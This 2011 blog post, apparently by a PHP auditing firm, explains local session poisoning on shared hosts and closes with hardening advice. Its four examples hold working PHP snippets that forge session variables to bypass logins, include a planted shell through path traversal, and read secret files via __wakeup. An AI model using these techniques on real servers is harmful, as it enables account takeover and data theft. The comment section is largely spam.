( ~~~ )
  ))^ ^((
 ((* - *))
   _) (_
 / '--' \     ^
//(_  _)\\   /_\
\\ )__( //   .'
 (( v  ))   (
   \| /\     '-.
    K(  \       )
    |\\  '-._.-'
Want your PHP application manually audited? Check out Xxor AB's PHP Security Auditing Service

Wednesday, September 7, 2011

Local Session Poisoning in PHP Part 1: The Basics of Exploitation and How to Secure a Server

Session poisoning is the act of manipulating sessions specific data in PHP. To add, change or remove variables stored in the super global $_SESSION array.

Local session poisoning is enabled by the fact that one web application can manipulate a variable in the $_SESSION array while another web application has no way of knowing how that variable's value came to be, and will interpret the variable according to its own logic. The $_SESSION array can then be manipulated to contain the values needed to spoof a logged in user or exploit a vulnerable function. PHP programmers put far more trust in $_SESSION variables than for example $_GET variables. The $_SESSION array is considered an internal variable, and an internal variable would never contain malicious input, would it?

Article series

Part 1: The Basics of Exploitation and How to Secure a Server

Part 2: Promiscuous Session Files

Part 3: Bypassing Suhosin's Session Encryption

PHP's session storage

By default PHP's option "session.save_handler" is set to "files" which is the most commonly used session handler. In this configuration a serialized string representation of the $_SESSION array is stored in a file. These files are stored in a directory specified by the configuration option "session.save_path", and their names are composed of the prefix "sess_" followed by the session id.

The default way to tie a client to a session is to store the session id in a cookie called "PHPSESSID". The client can easily switch between session by modifying this cookie.

Shared hosting environments

In shared hosts it is a common practice to use a collective session storage, to store all of the hosted web applications' session files in the same folder. This type of configuration is strongly advised against as it in just about every case is vulnerable to session poisoning and enables local users to insert arbitrary variables in other users' web application sessions.

There are security layers, patches and plugins to PHP which you would think prevents local session poisoning in shared hosts. suPHP and suEXEC uses ownership and strict permissions on the files in PHP's session storage. However it is trivial to fool this system, as described in part two of this article series. Suhosin offers options to encrypt the session files but in its default configuration it can easily be bypassed, as described in part three of this article series.

Local session poisoning is a significant threat even when faced with a remote attacker. If a determined attacker fails to find any exploitable vulnerabilities in a web application, but notices that the web application resides in a shared host, the attacker would enumerate other domain names resolving to the same IP by for example utilizing http://www.ip-neighbors.com, http://hostspy.org/, http://www.my-ip-neighbors.com/ or Bing's ip search operator. One of the neighbouring web applications is bound to have an unpatched flaw. When exploited, the remote attacker possesses all the capabilities of a local user and continues to attack the desired target from within the hosting server.

Example 1: Spoofing variables

The easiest path of exploitation is to focus on the parts of an application that utilizes sessions. By spoofing values one could fool its internal logic and for example bypass authentication.

Consider an autentication routine like this one present in a web application on domain A. // Starting the session session_start(); // Authentication if(isset($_SESSION['isLoggedIn']) && $_SESSION['isLoggedIn']){ // Already authenticated, proceed. haveAwsomeAmountsOfFun(); }elseif(isset($_POST['loginButton'])){ // Loggin in. Check credentials. $_SESSION['isLoggedIn'] = checkCredentials($_POST['username'], $_POST['password']); }else{ // Not logged in. Show login form. showLoginForm(); exit(); } Domain B is a separate domain hosted on the same server. By running this code on domain B one could spoof authentication for domain A. // Inser your session id. session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu'); // Start the session session_start(); // Spoof a variable $_SESSION['isLoggedIn'] = true; // Close the session session_write_close(); Now the variable $_SESSION['isLoggedIn'] is set to true and session id "16khau0g8c3mp3t3jbsedsc1mf0blvpu", when used on domain A, is authenticated.

Example 2: Exploitable function calls

Because of the inherit trust the $_SESSION array possesses due to its status as an internal variable, PHP programmers do not sanitize its values. Where one would never trust the contents of a $_GET variable, the contents of a $_SESSION variable is usually considered to be safe.

Consider this potential flaw in a web application on domain A. // Starting the session session_start(); // ... if(isset($_SESSION['theme']){ include('themes/'.$_SESSION['theme'].'.php'); }else{ include('themes/default.php'); } And this code sample required to exploit it from domain B. // Inser your session id. session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu'); // Start the session session_start(); // Spoof a variable $_SESSION['theme'] = '../../../../mallroy/public_html/shell'; // Close the session session_write_close(); When the web application on domain A is executed with session id "16khau0g8c3mp3t3jbsedsc1mf0blvpu", "themes/../../../../mallroy/public_html/shell.php" would be included.

Example 3: Autoloading classes

If an autoload function has been defined before the session is started, it will automatically be called to try to load any undefined class. If the session includes an object using an undefined class, the objects class name will be passed as the first argument to the autoload function when the object is being unserialized by the session handler. An autoload function will usually try to include a file derived from that name, like this. // Setup autoload function function __autoload($class_name) { include $class_name . '.php'; } // ... // Starting the session session_start(); Any object stored in the $_SESSION array will trigger the autoload. This code sample used on domain B would subsequently cause domain A to include the file ClassName.php. // Define class class ClassName{} // Inser your session id. session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu'); // Start the session session_start(); // Spoof a variable $_SESSION['anyvar'] = new ClassName(); // Close the session session_write_close(); Path traversal is not possible because both the dot and the slash are invalid characters in an objects name. Valid characters are A-Z, a-z, 0-9, _ and \x80-\xFF. As of PHP 5.3 the backslash character is also valid due to its use as a namespace separator. In Windows hosts, the backslash can be used as directory separator and cause an autoload function to include files from subfolders. However some programmers build their autoload function to replace underlines with slashes to allow it to naturally include files from subfolders.

Example 4: Invoking an objects sleep- and wakeup methods

A class may define a sleep- and a wakeup method. When an object, of a previously defined or autoloaded class, in the session array is unserialized by the session handler its wakeup method is invoked, and when serialized its sleep method is invoked. This causes an unnatural flow in the code and might expose otherwise unreachable flaws, specially since all the internal variables in the object can set arbitrarily.

Here is an example of a vulnerable logging class on domain A which loads a file in its wakeup method. class VulnLogClass{ protected $logfile = 'error.log'; protected $logdata = ''; // Various logging methods here ... public function __wakeup(){ // Load log from file $this->logdata = file_get_contents($this->logfile); } } // Starting the session session_start(); Using this code sample on domain B one could subsequently cause the web application on domain A to read the contents of an arbitrary file into a variable in the object when executed with this session. // Define a dummy class with modified variables class VulnLogClass{ protected $logfile = '../secret.php'; protected $logdata = ''; } // Inser your session id. session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu'); // Start the session session_start(); // Store an instance of the dummy class in $_SESSION $_SESSION['anyvar'] = new VulnLogClass(); // Close the session session_write_close(); Domain B could then view the contents like this. // Define a dummy class with the same name class VulnLogClass{} // Inser your session id. session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu'); // Start the session session_start(); // Dump the data stored within the object. var_dump($_SESSION['anyvar']); // Close the session session_write_close();

Should programmers sanitize session variables?

No, programmers should not sanitize session variables. The server admin is responsible for adequately securing the session files.

Securing a shared hosting environment

In shared hosts, session files from one web application should not reside in the same directory as that of another web application. And the directory they do reside in should not be readable nor writable by any one other than the owner. To accomplish this, for each user, create a user-owned folder and have its permissions set to 600. Then, for each user, set the runtime configuration option session.save_path to the path of their folder.
session.save_path /hsphere/local/home/exampleuser/sessionstorage
If Suhosin is installed on the server there is a slightly simpler way to secure the session storage. By utilizing session encryption all the session files can be kept together in a common folder. For this to be secure, each user must be assigned a unique encryption key as set by the configuration option suhosin.session.cryptkey.
suhosin.session.cryptkey 5up3rRan0mK3y)withSauc3+
The server administrator should configure the shared host using at least one of these two methods. One way to accomplish this, if PHP is installed as an Apache module, is for each VirtualHost block in the Apache httpd.conf file to contain these settings prefixed by "php_value" as specified in the manual. If PHP is running in CGI/FastCGI mode, php.ini sections can be configured to accomplish the same goal. Other variations or special environments may need to be configured in their own way. The important thing is that each user has their own unique session storage path or encryption key. If however this has been neglected by the administrator, individual users can for example try to set these configuration options by themselves by adding them to a .htaccess-file or by any other means available in their environment.



  1. hi!
    i dont quite get it: the code samples provided are meant to be run on another domain on the shared host to exploit the real target?
    like running sample code on domain A to exploit domain B while both domains are on same host?


  2. @Lagripe-Dz
    Tnx :D

    Yes, exactly. Thank you for your comment, I'll rewrite the article a little to clarify that.

  3. So the idea is that you can break any application that has no security holes at all by exploiting another applications security holes on the same host?
    If you have 2 applications on the same host and both have no security holes you can't use this?

  4. @Anonymous,

    You are exploiting the trust the developers have for the configured server environment. As Mango said, their should be no reason why developers should NOT trust $_SESSION as attacks like this can only be performed via cross application level on a mis-configured server environment.

  5. The ultimate weapon to defense against Session poisoning attacks is storing your session variables in database. :)

  6. amazing and clear - thanks

  7. Outsourcing these tasks to an external Small Business Server services provider will not only save you the time and money, they can also suggest ways to help improving the systems performance and get monitored 24/7 throughout the year to avoid any systems downtime.

    When choosing a server management services provider, make sure the company is reliable and offer high quality service for the value of money you spend. Signing up with a cheap server management provider usually will give you lots of technical problems later, which will eventually cost you more money. You will then have to start all over again and change to another server management provider.

  8. PPO is usually a Medical insurance option for the productive staff with Atlanta who wish to possess the flexibility connected with having wellbeing services from with in addition to outside of circle providers. The main advantages of PPO strategies are usually as follows.Kyäni

  9. For a long time I have not read such an interesting article, I found it very relevant for themselves and my profession. excellent examples of concept script, very useful, thank you for sharing
    Richard Brown secure virtual data room

  10. However, they still need to ensure that the logic remains unaffected while passing reference to the functions.plakatų spausdinimas

  11. We have sell some products of different custom boxes.it is very useful and very low price please visits this site thanks and please share this post with your friends. best locksmith

  12. PHP isn't subject to the outside modules to run the projects; rather it is executed by the servers and subsequently requires nothing from the end clients. CakePHP Application Development

  13. PHP by and large keeps running on a web server, taking PHP code as its information and making Web pages as yield, anyway you can likewise utilize it for direction line scripting and customer side GUI applications.Why use Laravel

  14. Thank you very much for this amaizinf articel.visit websites.This blog very informative for me.

  15. On 21st Sep 1962, a British patent application entitled "A Computer Arranged for the Automatic Solution of Linear Programming Problems" was documented. itools 4 crack license key

  16. i am browsing this website dailly , and get nice facts from here all the time .

  17. A backlink is a link created when one website links to another. Backlinks are important to SEO & impact for higher ranking. In my 7+ years seo Career i see, without backlinks a website doesn't rank higher on google SERP.

    Get Your 300+ High Quality DoFollow Backlinks Here!

    Order Now with Full Confidence & 100% satisfaction.

  18. With Brandsoo, it’s never been easier or more convenient to shop high quality domain names and professional logos that’ll instantly give your brand a leg up and resonate with your audience! With brandable domain names many different domain sellers all competing for your business, you need to know where your business and brand will see.

  19. With massive progress in educational technology schools are becoming hot for teachers better equipped than ever before. It’s a great time to consider a new job in education.

  20. Forex Signals, MT4 and MT5 Indicators, Strategies, Expert Advisors, Forex News, Technical Analysis and Trade Updates in the FOREX IN WORLD

    Forex Signals Forex Strategies Forex Indicators Forex News Forex World

  21. Forex Signals, MT4 and MT5 Indicators, Strategies, Expert Advisors, Forex News, Technical Analysis and Trade Updates in the FOREX IN WORLD

    Forex Signals Forex Strategies Forex Indicators Forex News Forex World

  22. Situs judi bola online UFA88 Terpercaya, juga memiliki casino online seperti, Baccarat online, roulette, Judi slot online, sabung ayam dan dadu online.

  23. joker123.ratujackpot.com dan Joker123 merupakan operator Situs Judi untuk permainan mesin slot yang paling terkenal di Indonesia dimana menyediakan Link Login Joker123 secara resmi dan terpercaya serta setiap agen bisa langsung melakukan daftar Akun Slot Joker123 untuk semua member mereka. Selain menggunakan Link Altenatif juga telah tersedia Aplikasi Joker123 APK apabila ingin mendapatkan berbagai kemudahan untuk bisa mengakses dan melakukan Login Joker123 untuk bisa bermain langsung.


  24. Whether it's a new black lace dress, some sexy lingerie, a brand new pair of shoes, in our online boutique you will find what it is Black lace dresses that you desire! Have Boutique online a look at our collection of Sequined dress fashion dresses and take advantage of our ongoing promotions and discounts! Stand out with one of our Casual dress dresses and turn heads as you walk!

  25. Shield Security Solutions Provides Ontario Security Training, Security Guard License or Security License in Ontario. Get Started Today

  26. indobet Situs Judi Slot Online Terlengkap 2020 Situs Judi Online populer mendukung deposit Judi Slot Online Deposit Ovo via ovo,gopay,dana, dan linkAja. Segera daftar Judi Slot Online Deposit GoPay di indobet dan klaim promo menariknya Judi Slot Online Deposit Dana.

  27. This comment has been removed by the author.

  28. This comment has been removed by the author.

  29. This comment has been removed by the author.

  30. Situs Judi Slot Login Joker123 Tereprcaya yang selalu memberikan Bonus Promo yang sangat menarik di banding Situs Judi Slot Joker123 Lainnya. dan Situs Joker123 Resmi selalu menyediakan Link ALtenative Untuk kemudahan setiap player bermain dengan aman dan nyaman.

  31. This comment has been removed by the author.

  32. This comment has been removed by the author.

  33. Situs Judi Slot Login Joker123 Tereprcaya yang selalu memberikan Bonus Promo yang sangat menarik di banding Situs Judi Slot Joker123 Lainnya. dan Situs Joker123 Resmi selalu menyediakan Link ALtenative Untuk kemudahan setiap player bermain dengan aman dan nyaman.

  34. Princess v40 for sale All about model Princess V40, brand Princess. Yacht technical specifications, layout, equipment and offers for rent and sale

  35. Are you also searching for spanish nursing writing services we are the best solution for you. We are best known for delivering the best services to students.  

  36. I’m going with this articles topics. I’ll be sure to come back I am sure and, thanks for sharing also This subject data gives the light in which we can observe the reality. this is very nice one and gives in-depth information. Again thanks and keep it up :D assignments help australia -
    assignment help in melbourne -
    Assignment Help Adelaide


  37. We are a full service internet marketing company in the Pittsburgh area, that specializes in providing affordable internet marketing solutions for small businesses.
    Our Pittsburgh SEO companies team builds and enhances local business listings and seo search engine optimization. This service drives lead generation and brand recognition.
    Our goal is long term mutual relationships with small business owners, providing customized internet marketing services.

  38. Heyyyyyyyyyyyyy admin. Very interesting ideas altogether, you just received a new reader sharing this subject article and, You have done an incredible work. I will certainly dig it and personally suggest to my friends and relatives. Biggest thanks buddy :) assignment help -
    assignment help Sydney -
    assignment help melbourne

  39. Insurance Claim Adjuster - We specialize in helping families with their property damage claim. Take comfort knowing I will do everything I can to help you. Ask for Mike

  40. Keeping up with Brilyent Kelly. Get Exlcusive offers and see the latest Music and news & Follow me on instragram Celebrity.

  41. Thank You for this important update.


  42. Royal Moving Co. is an affordable Los Angeles Moving Company for both local moving, Movers near me long distance moving and packing services throughout Los Angeles county. We Moving company near me offer professional, affordable service.

  43. My Assignment Help is an incomparable online assignment writing service delivering excellent assignment help service. We have the best in-house team specialist to take complete care of assignment within provided time limit. Convince yourself only after looking at the list of our free samples talking of our quality and expertise.

  44. Top expert writers provide the top assignment help to students at the most reasonable prices. Our experts are highly educated and have all the knowledge of academic writing. They provide high-quality content with 100% plagiarism free guarantee. We also provide 24X7 customer support so that you can contact them anytime and seek help with assignments whenever you need it.

  45. Scholars need to connect with effective online assignment writing for do my assignment query. For that, visit website of online service providers and check their reliability before placing your order for any subject.

  46. Thank you and thank you so much. I'll share you useful information.
    Accountants Near Me | Bookkeepers Near Me | CPA Near Me | Tax Services

  47. I like your article very much, thanks for sharing the good information we have read.
    Accounts Confidant